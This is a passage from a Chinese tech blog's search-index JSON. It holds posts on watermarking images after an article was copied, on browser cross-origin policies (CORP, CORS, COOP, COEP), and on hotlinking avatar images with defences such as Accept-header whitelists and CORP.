id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e这是很早之前的事了，简单来说就是有人盗了我的这一篇文章： \u003ca href=\"https://acofork.com/posts/edgeone/\"\u003e关于我折腾了一晚上 EdgeOne - AcoFork Blog\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这是他发在微信公众号上的： \u003ca href=\"https://mp.weixin.qq.com/s/F4R6FtJmyHEaKkeMDI6IDw\"\u003ehttps://mp.weixin.qq.com/s/F4R6FtJmyHEaKkeMDI6IDw\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e可以看到，文章纯纯是照搬，而且格式有很多明显错误，并且图片也是用的我的，甚至你还能看到上古域名 \u003cstrong\u003eafo.im\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e并且不难发现，它的文章发布日期为\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/watermark/img/watermark-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e而我的文章发布日期为\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/watermark/img/watermark-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e有人可能会说，你是静态博客，发布日期只是一串数字，可以随便改，那么我拿出Github当时的提交记录\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/watermark/img/watermark-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e又有人可能会说了，浏览器中的HTML是可以改的，那么我给出当时的提交URL，你们可以自行查阅： \u003ca href=\"https://github.com/afoim/fuwari/commit/4e8fa6581466db98334d1f5a70327ab586227766\"\u003eposts: 发布文章：关于我折腾了一晚上 EdgeOne（ps：腾讯云我草泥马😅） · afoim/fuwari@4e8fa65\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e好的，那么至此我应该可以证明我是原作者了\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e其实被盗文章也没啥，我本身也不通过文章来盈利。但是，当我看到我自己拿我自己电脑使用QQ截的图片被发到微信公众号上并默认添加了他的水印，就有点膈应了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/watermark/img/watermark-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我向来视我的文章如老婆，他这样一整就好像我被NTR了一样\u003c/p\u003e\n\u003cp\u003e那么开始水印战争吧，我要让盗文章的就算盗了，也要让最终读者知道到底是谁做的\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e终于又到了我最喜欢的技术环节，那么既然要加水印，我最先想到的就是一个十分古老的LSB水印项目： \u003ca href=\"https://github.com/guofei9987/blind_watermark\"\u003eguofei9987/blind_watermark: Blind\u0026amp;Invisible Watermark ，图片盲水印，提取水印无须原图！\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e它的原理非常简单，就是对图像做一点很细微的改动，通过改动像素来插入一个编码后的二维码，由于二维码天生抗干扰，再加上一张正常规格的图片像素点非常多，该项目README演示了对添加水印的图片做旋转，缩放，遮挡都可以完整提取出水印\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/watermark/img/watermark-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我当场就扒下来看了看用了用，发现并不是很适用\u003c/p\u003e\n\u003cp\u003e首先就是我的图片在正式在网站中展示前都会被Sharp进行压缩，虽然WEBP是个好格式，它可以大幅缩减图片大小，而质量仅下降一点点。但是对于LSB来说，你对大部分像素完全遮挡不是什么问题，但是WEBP是对整个图像进行压缩，这无疑是对所有像素进行“污染”，实测一旦通过压缩，甚至是简单的重复截图就可以完全破坏水印，而且该项目由于是专注于LSB水印，默认添加的水印也是不可见的，除非你是显微镜，否则文章被盗后甚至是平台默认加个水印，你的水印就不翼而飞了\u003c/p\u003e\n\u003cp\u003e接下来我就尝试使用传统水印，由于我的博客本身在构建的时候就会使用Sharp进行压缩，Sharp本身也就是一个高效的图像合成库，我就直接拿它将我的域名作为水印覆盖到每一张图上\u003c/p\u003e\n\u003cp\u003e就像这样： \u003cem\u003e这里就不配图了，因为按理来说现在全站的文章都有这个神秘的水印\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e到这应该就结束了，但是为了严谨，避免别有用心之人跑到Github上面去扒我们的历史提交，我们应当重写仓库历史提交，删除所有图片，然后在这次提交中再提交回来，并且找Github删除孤立的提交与资源文件，详见： \u003ca href=\"/posts/del-git-commit/\"\u003e如何让一个文件在Git提交中永远消失？如何丢掉其中一条提交并保持逻辑完整？ - AcoFork Blog\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e至此，应该再无任何人能得到无水印的原图了，只要我不再写完新文章后忘记运行加水印的脚本，结束\u003c/p\u003e\n\u003ch1 id=\"题外话\"\u003e题外话\u003c/h1\u003e\n\u003cp\u003e让文章不被盗是不可能的，对于文本内容，几乎无计可施，因为别有用心之人仅需爬RSS即可获取你的文章，但是对于图片，我们也只有加水印这一种方式，虽然这会让原本干净的图片变得有点遭\u003c/p\u003e","title":"你需要为你的网站上水印吗？水印怎么打才有效？"},{"content":"正式开始 如果你做过网站（HTML），你就会知道，一个网页除了自身提供内容，如 \u0026lt;p\u0026gt;hello world\u0026lt;/p\u0026gt; ，还可以 内嵌外链资源 ，如 \u0026lt;img src=\u0026quot;https://othersite.com/hello.webp\u0026quot;\u0026gt;\n一方面，HTML允许我们非常自由的引用资源，另一方面，这也会造成一些问题\n我们不妨设想一下，你有一个图库站点，里面全都是高清大图，网站访问量也特别高。如果这个时候有人眼红了，也想做一个这样的站点，它可以直接通过HTML做个壳，把品牌改成自己的，然后引用你的图片，这样，它只需要托管很少的文本文件（HTML壳），而无需托管实际图片\n那我们肯定不能让他这样，怎么办呢，所以我们需要让我们的图片在被拉取时返回一个 CORP 响应头，并且值为 same-site ，这样，只要不是你的域名写 \u0026lt;img\u0026gt; ，浏览器会统统阻断加载\n这就是 CORP（Cross-Origin-Resource-Policy） - 跨域资源策略，它管的是 资源给不给用\n值 描述 same-origin 同源。仅允许 example.com 拉取对应资源 same-site 同站。仅允许 *.example.com example.com 拉取资源 cross-origin 默认值。允许所有源，任何人都可以拉取 好的，我们解决了图片被滥用的问题。接下来更棘手的来了，我们还有一个其他网站，不过它并不提供媒体资源，而是在访问的时候获取访客IP\n本来这只是你自用的一个网站，但是你发现最近后端的日志有很多乱七八糟的IP，经过一番盘查，你发现有一个网站的底部会显示访客IP，通过F12查看网络请求发现这就是请求的你的网站！\n接着你查看了一下这个API返回的响应头，发现你之前为了跨域调用方便设置了 Access-Control-Allow-Origin: * ，该头会允许任何人调用你的API并且获取响应\n再然后，你将该头的值改为了 yoursite.com 这样，就只允许你自己的网站来调用该API了。其他人调用依旧会被浏览器拦截\n接着，你又做了个网站，并且为各个地区访问的访客配置了不同的CDN图床，你想让该网站告诉用户您正在使用什么CDN\n于是你灵机一动，想到各家CDN返回的响应头 Server 的值都不一样，于是就写了一点JS读取响应头并回写到页面上，但是你发现页面上并未显示，并且网络请求是一个奇怪的状态 200 Failed\n于是你思考了一下，哦！对了！由于是不同的CDN图床，且主站域名为 blog.yoursite.com ，图床域名为 img.yoursite.com ，会触发跨域！\n虽然你已经经过上次的教训正确设置了 Access-Control-Allow-Origin 头，但是对于浏览器来说，你只是允许了别人读取我的响应体，并没有规定响应体，然后你打印了一下JS获取到的所有响应头，你发现只能读到 Content-Type 等几个无关响应头，JS根本看不见 Server 头\n然后你费劲千辛万苦，终于在各大CDN都配置了返回 Access-Control-Expose-Headers: server ，然后，你的代码终于工作了！\n接着，随着你的网站越做越大，你想给网站添加一个访问量显示模块，但是由于网站本身是静态的，你又不想在全是前端代码的项目里面插后端代码，于是你很聪明，想到了搭建另一个服务，Umami，然后将追踪JS嵌入你的网站，你再通过客户端JS读取Umami的公开页面获取访问量\n尽管Umami的公开页面是公开的，但并不是一次请求就能成功，首先你需要先请求一个端点拿到游客token，接着携带这个游客token访问Umami访问量端点，拿到最终的访问量\n不过这对你来说都不是什么难事，只需要在JS写好这一整套逻辑再封装一下函数即可\n但是实际跑起来的时候又出问题了，由于一个是 blog.yoursite.com ，而另一个是 umami.yoursite.com ，由于你正确配置了 Access-Control-Allow-Origin 响应头，所以第一个请求成功发出，JS也如期拿到了游客token\n问题就在第二个请求，你发现你的请求又又又被浏览器拦截了，显示 请求头: x-umami-share-token 不被对端允许\n你思考了一下，哦！尽管我们配置了 Access-Control-Allow-Origin 响应头 ，但也只是允许获取响应体，浏览器对于 发请求头 ，需要在Umami再配置一条 Access-Control-Allow-Headers 响应头\n接着，你配置了该响应头，为了方便，你直接写了 Access-Control-Allow-Headers: * ，终于，你的代码成功工作了，也拿到了正确的访问量\n这就是 CORS（Cross-Origin Resource Sharing）- 跨域资源共享 ，它管的是 API给不给调，只能给谁调\nAccess-Control-Allow-Origin（谁能跨域访问资源？默认谁都不能） 值 描述 * 允许任意源访问资源（⚠️ 不能与 Allow-Credentials: true 同时使用） https://example.com 仅允许指定源访问资源 null 允许 Origin: null（如 file://、沙盒 iframe） Access-Control-Allow-Methods（跨域访问允许的请求方式？默认都不允许） 值 描述 GET 允许 GET 请求 POST 允许 POST 请求 PUT 允许 PUT 请求 DELETE 允许 DELETE 请求 PATCH 允许 PATCH 请求 OPTIONS 允许预检请求 GET, POST, OPTIONS 允许多个方法（逗号分隔） Access-Control-Allow-Headers（跨域访问允许带的请求头？默认只允许带 列入 CORS 白名单的请求标头 - MDN Web 文档术语表：Web 相关术语的定义 | MDN ） 值 描述 Content-Type 允许携带 Content-Type 请求头 Authorization 允许携带认证头 X-Custom-Header 允许指定的自定义请求头 * 允许所有请求头（现代浏览器支持，主要用于非凭据请求） Access-Control-Allow-Credentials（跨域访问是否允许携带凭据？默认不允许 ） 值 描述 true 允许携带凭据（Cookie / Authorization / TLS client cert） （不返回） 默认不允许携带凭据 Access-Control-Expose-Headers（跨域访问时能读到的响应头？默认只能读到 列入 CORS 白名单的响应标头 - MDN Web 文档术语表：Web 相关术语的定义 | MDN 值 描述 X-Request-Id 允许 JS 读取该响应头 Content-Length 允许 JS 读取内容长度 X-A, X-B 暴露多个响应头（逗号分隔） Access-Control-Max-Age（跨域访问时预检请求结果缓存多长时间（秒）？ 默认不缓存 ） 值 描述 0 不缓存预检请求 600 预检结果缓存 10 分钟 86400 缓存 24 小时（浏览器可能有上限） 而对于 COOP和COEP ，他们都是配在 用户正在访问的HTML上面 ，分别用于以下情况\nCross-Origin-Opener-Policy（COOP） COOP（Cross-Origin Opener Policy） 是一种浏览器安全机制，用于控制不同页面之间是否可以共享同一个浏览器窗口上下文（browsing context）。它主要影响页面与通过 window.open() 打开的其他页面之间的关系，以及这些页面是否能够互相访问 window.opener。\n当页面启用 COOP 后，浏览器会根据策略将跨源页面强制隔离到不同的浏览器进程中，使它们无法共享执行环境。这种隔离可以有效降低侧信道攻击（如 Spectre）的风险，同时防止跨站页面通过 window.opener 进行劫持或信息泄露。\nCOOP 关注的是页面与页面之间的隔离关系，并不参与资源（如图片、脚本、视频）的加载或校验。\n值 是否默认 行为描述 主要影响 unsafe-none ✅ 是 不启用任何隔离 跨源页面可共享 browsing context 与 window.opener same-origin ❌ 仅允许同源页面共享窗口与进程 跨源 window.opener 被置为 null，强制进程隔离 same-origin-allow-popups ❌ 自身隔离，但允许弹出窗口 常用于 OAuth / 支付弹窗场景 Cross-Origin-Embedder-Policy（COEP） COEP（Cross-Origin Embedder Policy） 是一种用于限制页面如何加载和使用跨源资源的安全策略。当页面启用 COEP 后，所有被嵌入的跨源资源都必须明确表态“允许被使用”，否则浏览器会阻止这些资源被页面消费。\nCOEP 的核心目标是确保页面不会在不知情的情况下加载不受信任的跨源资源，从而避免利用共享进程或共享内存进行的攻击。它通常与资源侧声明（如 CORS 或 Cross-Origin-Resource-Policy）配合使用。\nCOEP 并不会阻止浏览器发起网络请求，但会在资源返回后决定该资源是否可以被页面使用。\n值 是否默认 行为描述 主要影响 unsafe-none ✅ 是 不启用嵌入限制 页面可加载任意跨源资源 require-corp ❌ 仅允许明确授权的跨源资源 跨源资源必须满足 CORP 或 CORS 什么时候浏览器才会检查 COOP 和 COEP？ 这两个标头只有在页面被作为“文档（document）加载”时才会被浏览器检查，通常包括：\n顶级页面导航（在地址栏中直接打开页面）\niframe 中加载的文档页面\n弹出窗口（window.open() 打开的页面）\n对于图片、音频、视频、脚本等非文档资源，浏览器不会检查其响应中的 COOP 或 COEP 标头，这些资源即使返回 200 OK，也不会因此自动获得跨源使用权限。\n需要注意的是：\nCOOP 在页面创建或连接 browsing context 时生效，用于决定页面之间是否可以共享窗口和进程。\nCOEP 在页面尝试使用嵌入资源时生效，用于判断跨源资源是否满足安全要求。\nCOOP 与 COEP 的联合效果 当一个页面同时启用了 COOP 和 COEP，并且所有嵌入资源都满足对应要求时，浏览器会将该页面视为**跨源隔离（cross-origin isolated）**状态。在这种状态下，页面可以安全地使用一些高权限 Web API，例如 SharedArrayBuffer 和高精度计时器。\n浏览器安全模型完整流程图 flowchart TD Start([浏览器发起请求]) --\u003e CheckSameOrigin{是否同源?/协议+域名+端口都相同?} CheckSameOrigin --\u003e|是| SameOriginSuccess[同源请求/直接发送]:::success SameOriginSuccess --\u003e End1([请求成功]):::success CheckSameOrigin --\u003e|否| CrossOrigin[跨域请求] CrossOrigin --\u003e CheckRequestType{请求类型判断} CheckRequestType --\u003e SimpleCheck{是否为简单请求?/方法: GET/HEAD/POST/头部仅限安全字段/Content-Type仅限三种} SimpleCheck --\u003e|是| SimpleRequest[简单请求/直接发送实际请求] SimpleCheck --\u003e|否| PreflightRequest[非简单请求/需要预检] PreflightRequest --\u003e SendPreflight[发送OPTIONS预检请求/包含Origin等头部] SendPreflight --\u003e ServerPreflight{服务器响应预检} ServerPreflight --\u003e|无CORS头或不匹配| PreflightFail[预检失败/请求被阻止]:::failure PreflightFail --\u003e End2([请求失败]):::failure ServerPreflight --\u003e|有效CORS头| CheckPreflightHeaders{检查预检响应头/Allow-Origin/Methods/Headers} CheckPreflightHeaders --\u003e|不匹配| PreflightFail CheckPreflightHeaders --\u003e|匹配| PreflightPass[预检通过]:::success PreflightPass --\u003e SendActualRequest[发送实际请求] SimpleRequest --\u003e SendActualRequest SendActualRequest --\u003e ServerResponse[服务器处理并返回响应] ServerResponse --\u003e CheckCORS{检查CORS响应头} CheckCORS --\u003e CheckOriginHeader{Access-Control-Allow-Origin/是否存在且匹配?} CheckOriginHeader --\u003e|否| CORSFail[CORS验证失败/响应被阻止]:::failure CORSFail --\u003e End3([请求失败]):::failure CheckOriginHeader --\u003e|是| CheckCredentials{请求是否携带凭证?/cookies或HTTP认证} CheckCredentials --\u003e|否| CORSPass[CORS验证通过]:::success CheckCredentials --\u003e|是| CheckAllowCredentials{Allow-Credentials/是否为true?} CheckAllowCredentials --\u003e|否| CredentialsFail[凭证验证失败/响应被阻止]:::failure CredentialsFail --\u003e End4([请求失败]):::failure CheckAllowCredentials --\u003e|是| CheckWildcard{Allow-Origin/是否为通配符*?} CheckWildcard --\u003e|是| WildcardFail[通配符冲突/不能与凭证同时使用]:::failure WildcardFail --\u003e End5([请求失败]):::failure CheckWildcard --\u003e|否-具体源| CORSPass CORSPass --\u003e CheckResourceType{资源类型判断} CheckResourceType --\u003e CheckCORP{是否需要检查CORP?/跨域嵌入资源} CheckCORP --\u003e|不需要| ResponseSuccess[响应可用]:::success CheckCORP --\u003e|需要| CheckCORPHeader{Cross-Origin-Resource-Policy/响应头检查} CheckCORPHeader --\u003e|未设置| CheckCOEP{嵌入页面是否设置/COEP: require-corp?} CheckCOEP --\u003e|否| ResponseSuccess CheckCOEP --\u003e|是| CORPFail[CORP策略阻止/资源被阻止]:::failure CORPFail --\u003e End6([请求失败]):::failure CheckCORPHeader --\u003e|same-origin| CheckCORPSameOrigin{是否同源?} CheckCORPSameOrigin --\u003e|是| ResponseSuccess CheckCORPSameOrigin --\u003e|否| CORPFail CheckCORPHeader --\u003e|same-site| CheckCORPSameSite{是否同站?/相同eTLD+1} CheckCORPSameSite --\u003e|是| ResponseSuccess CheckCORPSameSite --\u003e|否| CORPFail CheckCORPHeader --\u003e|cross-origin| CheckCrossOriginAttrs{检查资源标签属性/crossorigin属性} CheckCrossOriginAttrs --\u003e|未设置| CORPFail CheckCrossOriginAttrs --\u003e|已设置| ResponseSuccess ResponseSuccess --\u003e CheckCOOP{检查COOP策略/Cross-Origin-Opener-Policy} CheckCOOP --\u003e CheckCOOPValue{COOP值检查} CheckCOOPValue --\u003e|unsafe-none默认| AllowOpener[允许opener访问]:::success CheckCOOPValue --\u003e|same-origin| CheckCOOPSameOrigin{打开者与被打开页面/是否同源?} CheckCOOPSameOrigin --\u003e|是| AllowOpener CheckCOOPSameOrigin --\u003e|否| BlockOpener[隔离浏览上下文/opener=null]:::warning CheckCOOPValue --\u003e|same-origin-allow-popups| CheckPopup{是否为弹窗?} CheckPopup --\u003e|是| AllowOpener CheckPopup --\u003e|否| BlockOpener AllowOpener --\u003e FinalSuccess([请求完全成功/数据可用]):::success BlockOpener --\u003e FinalPartial([请求成功但受限/部分功能隔离]):::warning classDef success fill:#90EE90,stroke:#006400,stroke-width:3px,color:#000 classDef failure fill:#FFB6C6,stroke:#8B0000,stroke-width:3px,color:#000 classDef warning fill:#FFE4B5,stroke:#FF8C00,stroke-width:2px,color:#000 ","permalink":"https://blog.2x.nz/posts/coxp/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e如果你做过网站（HTML），你就会知道，一个网页除了自身提供内容，如 \u003ccode\u003e\u0026lt;p\u0026gt;hello world\u0026lt;/p\u0026gt;\u003c/code\u003e ，还可以 \u003cstrong\u003e内嵌外链资源\u003c/strong\u003e ，如 \u003ccode\u003e\u0026lt;img src=\u0026quot;https://othersite.com/hello.webp\u0026quot;\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e一方面，HTML允许我们非常自由的引用资源，另一方面，这也会造成一些问题\u003c/p\u003e\n\u003cp\u003e我们不妨设想一下，你有一个图库站点，里面全都是高清大图，网站访问量也特别高。如果这个时候有人眼红了，也想做一个这样的站点，它可以直接通过HTML做个壳，把品牌改成自己的，然后引用你的图片，这样，它只需要托管很少的文本文件（HTML壳），而无需托管实际图片\u003c/p\u003e\n\u003cp\u003e那我们肯定不能让他这样，怎么办呢，所以我们需要让我们的图片在被拉取时返回一个 \u003cstrong\u003eCORP 响应头\u003c/strong\u003e，并且值为 \u003cstrong\u003esame-site\u003c/strong\u003e ，这样，只要不是你的域名写 \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e ，浏览器会统统阻断加载\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/coxp/img/coxp-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这就是 \u003cstrong\u003eCORP（Cross-Origin-Resource-Policy） - 跨域资源策略\u003c/strong\u003e，它管的是 \u003cstrong\u003e资源给不给用\u003c/strong\u003e\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003e值\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e描述\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003esame-origin\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e同源。仅允许 \u003ccode\u003eexample.com\u003c/code\u003e 拉取对应资源\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003esame-site\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e同站。仅允许 \u003ccode\u003e*.example.com\u003c/code\u003e \u003ccode\u003eexample.com\u003c/code\u003e 拉取资源\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ecross-origin\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e默认值\u003c/strong\u003e。允许所有源，任何人都可以拉取\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e好的，我们解决了图片被滥用的问题。接下来更棘手的来了，我们还有一个其他网站，不过它并不提供媒体资源，而是在访问的时候获取访客IP\u003c/p\u003e\n\u003cp\u003e本来这只是你自用的一个网站，但是你发现最近后端的日志有很多乱七八糟的IP，经过一番盘查，你发现有一个网站的底部会显示访客IP，通过F12查看网络请求发现这就是请求的你的网站！\u003c/p\u003e\n\u003cp\u003e接着你查看了一下这个API返回的响应头，发现你之前为了跨域调用方便设置了 \u003ccode\u003eAccess-Control-Allow-Origin: *\u003c/code\u003e ，该头会允许任何人调用你的API并且获取响应\u003c/p\u003e\n\u003cp\u003e再然后，你将该头的值改为了 \u003ccode\u003eyoursite.com\u003c/code\u003e 这样，就只允许你自己的网站来调用该API了。其他人调用依旧会被浏览器拦截\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/coxp/img/coxp-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着，你又做了个网站，并且为各个地区访问的访客配置了不同的CDN图床，你想让该网站告诉用户您正在使用什么CDN\u003c/p\u003e\n\u003cp\u003e于是你灵机一动，想到各家CDN返回的响应头 \u003cstrong\u003eServer\u003c/strong\u003e 的值都不一样，于是就写了一点JS读取响应头并回写到页面上，但是你发现页面上并未显示，并且网络请求是一个奇怪的状态 \u003cstrong\u003e200 Failed\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e于是你思考了一下，哦！对了！由于是不同的CDN图床，且主站域名为 \u003ccode\u003eblog.yoursite.com\u003c/code\u003e ，图床域名为 \u003ccode\u003eimg.yoursite.com\u003c/code\u003e ，会触发跨域！\u003c/p\u003e\n\u003cp\u003e虽然你已经经过上次的教训正确设置了 \u003cstrong\u003eAccess-Control-Allow-Origin\u003c/strong\u003e 头，但是对于浏览器来说，你只是允许了别人读取我的响应体，并没有规定响应体，然后你打印了一下JS获取到的所有响应头，你发现只能读到 \u003ccode\u003eContent-Type\u003c/code\u003e 等几个无关响应头，JS根本看不见 \u003cstrong\u003eServer\u003c/strong\u003e 头\u003c/p\u003e\n\u003cp\u003e然后你费劲千辛万苦，终于在各大CDN都配置了返回 \u003ccode\u003eAccess-Control-Expose-Headers: server\u003c/code\u003e ，然后，你的代码终于工作了！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/coxp/img/coxp-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着，随着你的网站越做越大，你想给网站添加一个访问量显示模块，但是由于网站本身是静态的，你又不想在全是前端代码的项目里面插后端代码，于是你很聪明，想到了搭建另一个服务，Umami，然后将追踪JS嵌入你的网站，你再通过客户端JS读取Umami的公开页面获取访问量\u003c/p\u003e","title":"你真的懂了浏览器跨域吗？COOP，COEP，CORP，CORS都是管什么的？"},{"content":"这是什么？ 只是随便搜集的一些头像接口，全部来自于我手机里目前安装的大部分APP服务。其中无 Web 标识的头像，如果你能看得见，那么证明该服务商并没有做严格的SSL校验，导致逆向极其简单。无该标识的默认为移动APP。以下所有资源均来自我个人使用的账号\n一些小发现 微软（Microsoft）的头像非常严格，使用Cookie校验，不能直接访问 微信、支付宝，TapTap，钉钉不采用Web协议，故抓不到包 小黑盒，网易云音乐，酷安，作业帮，豆包，肯德基，库街区都采用了严格的SSL校验，不能直接访问 下述图片，除了TapTap校验Referer，其他都没有校验Referer，故可以直接访问。不过就算校验Referer也是徒劳 头像 描述 QQ OPPO（Web） Google（Web） 小米（Web） 京东（Web） 高德地图（Web） 美团 淘宝 拼多多 GitHub（Web） Telegram（Web） WPS（Web） 闲鱼 好游快爆 网易云音乐（Web） KOOK TapTap（Web） （微信）公众号助手 百度网盘 Steam（Web） 这表明了什么？ 对于图片，音乐，影片等静态资源，若直接使用 img audio video 等标签，无需CORS即可将远端资源在任意网页上展示。这是W3C规范的一部分，详情请参考 HTML5 嵌入内容\n当然，如果您是一个网站的维护者，您可能不想让陌生人直接将你的资源展示给别人看，或者怕被刷出账单，下面我将简单说明哪些措施是有效的，哪些是掩耳盗铃\n首先我们来分辨一下您手动做服务端的防盗链和浏览器CORS的区别：\n浏览器CORS是客户端行为，当某个行为被对端CORS策略拒绝，浏览器会阻止响应体。而服务端防盗链是在您的后端上编写一些小脚本，用以拒绝非法访问。前者会在用户浏览器弹出CORS错误，而后者会在用户浏览器显示错误状态码，如500，401，403，这取决于您的实现\n是否可以尝试设置Referer白名单来拒绝非法访问？ 没用 因为Referer在浏览器中是可以伪造或者不发送的。详见 HTML 5 引用来源策略\n您应该做的事情稍微有些复杂，如将API放到Cookie（登录，非游客权限）中，并且让后端处理Cookie的发放与吊销。就像微软那样\n又或者说，您只想要用户仅能通过浏览器单独查看图片，而不让 任何人（包括您） 引用图片到网站中，您可以使用 Accept 请求头 白名单，您可以尝试比较一下这两个 Accept 请求头 ，前者是直接访问图片浏览器自动发送的，而后者是引用时发送的\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 最后，如果您想做到图片必须是 游客访问 ，又不想让他人滥用。可以使用CORP（Cross-Origin-Resource-Policy）\n只需要在别人拉取图片时返回一个CORP响应头，如： Cross-Origin-Resource-Policy: same-origin\n另外，CORP不仅能保护图片，它可以保护一切东西，下面是一个简单的示意图 浏览器拉取资源 -\u0026gt; 请求资源，检查响应头 -\u0026gt; CORP（给不给用，默认给用） -\u0026gt; CORS（给不给JS读，默认不给） -\u0026gt; 返回\n当CORP响应头返回的策略中和将要拉取资源的源不匹配，浏览器会阻止资源在页面加载，但并不会阻断原始请求\n值 描述 same-origin 同源。仅允许 example.com 拉取对应资源 same-site 同站。仅允许 *.example.com example.com 拉取资源 cross-origin 默认值。允许所有源，任何人都可以拉取 设置后跨站引用会被浏览器阻止\nChromium（Edge/Chrome） 另外提一嘴，Chromium 最近推了一个更新，导致CORS/CORP错误默认不显示在控制台，需要勾选 显示控制台中的CORS错误 控制台功能参考 | Chrome DevTools | Chrome for Developers Firefox ","permalink":"https://blog.2x.nz/posts/avatar/","summary":"\u003ch1 id=\"这是什么\"\u003e这是什么？\u003c/h1\u003e\n\u003cp\u003e只是随便搜集的一些头像接口，全部来自于我手机里目前安装的大部分APP服务。其中无 \u003cstrong\u003eWeb\u003c/strong\u003e 标识的头像，如果你能看得见，那么证明该服务商并没有做严格的SSL校验，导致逆向极其简单。无该标识的默认为移动APP。以下所有资源均来自我个人使用的账号\u003c/p\u003e\n\u003ch1 id=\"一些小发现\"\u003e一些小发现\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e微软（Microsoft）的头像非常严格，使用Cookie校验，不能直接访问\u003c/li\u003e\n\u003cli\u003e微信、支付宝，TapTap，钉钉不采用Web协议，故抓不到包\u003c/li\u003e\n\u003cli\u003e小黑盒，网易云音乐，酷安，作业帮，豆包，肯德基，库街区都采用了严格的SSL校验，不能直接访问\u003c/li\u003e\n\u003cli\u003e下述图片，除了TapTap校验Referer，其他都没有校验Referer，故可以直接访问。不过就算校验Referer也是徒劳\u003c/li\u003e\n\u003c/ul\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003e头像\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e描述\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://q2.qlogo.cn/headimg_dl?dst_uin=2726730791\u0026spec=0\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eQQ\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://ocs-cn-north1.heytapcs.com/titans-usercenter-avatar-bucket-cn/vf/q7/7c/vfq77cwaxzzwzzaky7rkgiear4000000_1755101257605_s.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eOPPO（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://lh3.googleusercontent.com/a/ACg8ocLIJXR_N2wuwp93PorzuRum2GhcH7J2dO-OZUyDhMbB-AR_wbp6GM2cl7wWM6g2R8wddRd6SCJDWbRFKoenroJnx3eVdHE=s288-c-no\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eGoogle（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"https://cdn.cnbj1.fds.api.mi-img.com/user-avatar/eUlnezeXgqmLGraD2sQ90d-x-vk-cd104cbc_320.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e小米（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003cimg src=\"http://storage.360buyimg.com/default.image/6a645f6465665f696d675f393836323031373632333134353936313533_big.webp\" width=\"50\" height=\"100\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e京东（Web）\u003c/td\u003e\n      \u003c/tr\u003e\n 